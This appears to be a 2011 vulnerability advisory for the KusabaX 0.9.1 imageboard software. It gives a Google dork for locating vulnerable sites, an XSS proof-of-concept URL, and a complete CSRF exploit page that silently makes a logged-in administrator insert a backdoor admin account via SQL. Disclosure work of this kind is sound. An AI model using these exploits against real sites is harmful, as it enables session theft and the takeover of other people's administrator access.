kusaba x 0.9.1 – Multiple Vulnerabilities
####################################################### # KusabaX XSS and CSRF Vulnerabilites # ####################################################### # Product: KusabaX and various Futaba channels clone # Vendor site: http://kusabax.cultnet.net/ # Affected versions: KusabaX <= 0.9.1 # Product description: an imageboard is a web application written in PHP used in sites # like 4chan as an anonymous bullettin board based on image sharing. # Author: Emilio Pinna - ncl 01 _at_ email _dot_ it # Blog site: http://thissecting.wordpress.com # Date: 27/04/2011 ####################################################### # Cross Site Scripting in 'animation.php' # ####################################################### # Vulnerable page: animation.php # Google dork: allinurl: animation.php board id File "animation.php" suffer from XSS vulnerabilities in line 47: #-----------------------------------------------------# <param name="pch_file" value="<?php echo KU_BOARDSPATH . '/' . $_GET['board'] . '/src/' . $_GET['id'] . '.pch'; ?>"> #-----------------------------------------------------# Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user's browser session that visit resulting in a cookie stealing and bypass of admin access controls. #-----------------------------------------------------# http://localhost/kusabax/animation.php?board=b&id=1"><script>alert('XSS')</script><" #-----------------------------------------------------# ######################################################## # Arbitrary SQL statements execution through CSRF # ######################################################## # Vulnerable page: manage_page.php The vulnerability permit to execute SQL commands through 'SQL query' section of Administrator Panel. This flaw exists due to failure in the 'manage_page.php' script to verify the source of HTTP request with anti CRSF tokens or referrer check. This bug flaw was reported in 2010 for older versions (http://tinyurl.com/5wdrmy6), but never totally fixed. The following example adds an administrator account with login 'new_admin' and password 'admin' encrypted with 'TMC' as salt. #-----------------------------------------------------# INSERT INTO staff VALUES (1331, 'new_admin', '6a9685fcb53b90f0ca9a1c72d7fa31d2', 'TMC', 1, NULL, 1303904817, 1303908333) #-----------------------------------------------------# The attacker must lure a logged user with Administrator privilege to a web page with malicious code similar to the following PHP script. #--------- File: manage_page_sql_crsf.html -----------# <html> <body> <iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe> <form method="post" name="sender" action="http://localhost/kusabax/manage_page.php?action=sql" target="hidden"> <input type="hidden" name="query" value="insert into staff values (1331, 'new_admin', '6a9685fcb53b90f0ca9a1c72d7fa31d2', 'TMC', 1, NULL, 1303904817, 1303908333)"> </form> </body> <script>document.sender.submit(); </script> </html> #-----------------------------------------------------# # Disclosure: # 27/04/2011 Reported to KusabaX developers and fixed immediatly with version 0.9.2. |